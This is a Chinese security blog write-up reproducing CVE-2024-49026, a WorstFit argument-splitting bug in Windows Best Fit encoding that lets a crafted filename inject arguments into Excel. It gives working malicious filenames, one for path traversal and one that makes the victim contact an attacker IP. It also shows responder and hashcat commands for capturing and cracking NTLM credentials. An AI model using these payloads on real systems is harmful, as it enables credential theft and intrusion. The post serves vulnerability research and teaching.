从 WorstFit 到 RCE

admin 2025年3月5日20:42:03评论17 views字数 2958阅读9分51秒阅读模式

前言

本文所述技术内容及漏洞原理分析,仅限用于网络安全技术研究与教育目的,旨在帮助读者提升安全意识、理解防御机制。文中涉及的漏洞利用场景需依赖特定环境配置或权限条件(如特定CodePage、特定服务版本等),实际利用难度较高且存在严格法律边界

WorstFit简介

    在Windows的字符编码转换中,Best Fit是一种用于处理Unicode到ANSI(多字节编码)转换的策略。由于历史原因,Windows早期广泛使用基于代码页的ANSI编码(如CP1252CP936等),但这些编码无法覆盖所有Unicode字符。因此,在将Unicode文本转换为ANSI时,Best Fit策略会寻找“最佳近似字符”进行替代。

代码页
支持的语言/地区
编码名称
874
泰语
Windows-874
932
日语(Shift-JIS)
Shift_JIS
936
简体中文(GBK)
GBK
949
韩语(EUC-KR)
EUC-KR
950
繁体中文(Big5)
Big5
1250
中欧/东欧(波兰语、捷克语、匈牙利语等)
Windows-1250
1251
西里尔语(俄语、保加利亚语、乌克兰语等)
Windows-1251
1252
西欧(英语、法语、德语、西班牙语等)
Windows-1252
1253
希腊语
Windows-1253
1254
土耳其语
Windows-1254
1255
希伯来语
Windows-1255
1256
阿拉伯语
Windows-1256
1257
波罗的海(立陶宛语、拉脱维亚语等)
Windows-1257
1258
越南语
Windows-1258
Best Fit 策略的工作原理: 

(1) 字符映射:

  • 如果目标代码页中存在精确匹配的字符,则直接映射。

  • 如果不存在,系统会尝试寻找一个视觉或语义上近似的字符替代。

  • 如果没有近似字符,则使用默认替换字符(如 ? 或 )。 

 示例:

  • Unicode字符©(版权符号)在CP1252中没有对应,可能被替换为 (c)

  • Unicode字符(欧元符号)在旧版CP1252中不存在,可能被替换为 ?

  • 某些特殊引号(如)可能被替换为 "

(2) Windows为了向后兼容,支持最初的ANSI代码页,因此实现了两个不同版本的API:

  • ANSI API:Windows代码页版本,带有字母“A”后缀,用于表示“ANSI”。例如,GetEnvironmentVariableA 函数。

  • Unicode API:Unicode版本,带有字母“W”后缀,用于表示“宽(字符)”。例如,GetEnvironmentVariableW 函数。

(3) 对于ANSI API,Windows通过调用RtlUnicodeStringToAnsiString(或有时WideCharToMultiByte)将原始Unicode字符串转换为ANSI字符串,这会应用隐式转换,同时触发Best Fit。这种兼容性特性如果被滥用,就可能导致我们今天要讲解的WorstFit 漏洞。

    感谢Orange和Splitline的研究,根据他们的文章,WorstFit的利用可以分为三类:Filename Smuggling , Argument Splitting 和Environment Variable Confusion

    本次讲解的 CVE-2024-49026 漏洞属于Argument Splitting,当某个应用使用GetCommandLineA解析命令行时,即使我们只能操控部分参数,也可以利用WorstFit注入更多限定之外的参数。

CVE-2024-49026 漏洞复现

1. 漏洞原理

全局文件关联表(File Extension Associations)

    Windows 在注册表中维护一个分层结构的关联数据库(路径:HKEY_CLASSES_ROOT),包含以下关键层级:

  • 文件扩展名键(例如 .txt指向对应的ProgID(Programmatic Identifier,如 txtfile)。

  • ProgID定义(例如 txtfileshellopencommand存储实际执行命令(如 "%ProgramFiles%Notepad++notepad++.exe" "%1")。

  • MIME类型映射(可选)用于浏览器或网络场景中的内容类型识别。

    该表决定着双击文件时使用哪个程序来打开文件,通过assocftype命令配合使用,可以查看指定扩展名的ProgID命令。

从 WorstFit 到 RCE

    可以发现,Microsoft Excel在执行 .xlsx 文件时,直接将文件名作为参数处理,这意味着可能存在参数拆分攻击

2. 确认代码页

    许多安全研究人员习惯使用chcp命令查看代码页,但chcp显示的是 OEMCP而不是 ACP。

  • OEMCP是给控制台应用程序使用的传统编码。

  • ACP是Windows图形界面应用程序使用的默认编码。

    在中文系统中,OEMCP通常是936(GBK),而ACP也是936,但在其他语言环境下可能不同,例如东欧语言环境下可能会有所不同。

建议使用以下方式查询当前代码页:

Powershell:

powershell.exe [Console]::OutputEncoding.WindowsCodePage

Registry:

reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlNlsCodePage /v ACP

3. 更改代码页

    由于不同Code Page的转换规则不一致,这里仅测试泰文字符编码环境(代码页 874),注意该漏洞在简体中文环境下不可利用。

Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlNlsCodePage]"OEMCP"="874""ACP"="874""MACCP"="874"

4. 构造恶意文件

    在文件命名时,/是不被支持的字符,但在切换到874代码页后,Best Fit会将/替换为正常的/

    首先进行一个简单的任意文件读取利用,将文件名改为如下格式:

../../../../Windows/win.ini".xlsx

    双击文件后,成功实现目录穿越,打开win.ini

从 WorstFit 到 RCE

    将文件名改为如下格式:

AAAAA" "\\192.168.13.248@8090\test.xlsx

    在另一台机器上进行本地监听,成功接收到目标机器发来的HTTP OPTIONS请求。

从 WorstFit 到 RCE

5. 进一步利用

    后续可以直接使用smbdelay利用工具进行RCE,也可以通过responder配合hashcat抓取NTLM凭证并进行破解。

responder -I eth0 -v
从 WorstFit 到 RCE
hashcat -m 5600 hash.txt ./wordlist.txt
从 WorstFit 到 RCE

成功破解出目标机器登录凭据

参考:

https://www.cve.org/CVERecord?id=CVE-2024-49026

https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/

原文始发于微信公众号(谁不想当剑仙):从 WorstFit 到 RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月5日20:42:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从 WorstFit 到 RCEhttps://cn-sec.com/archives/3801436.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息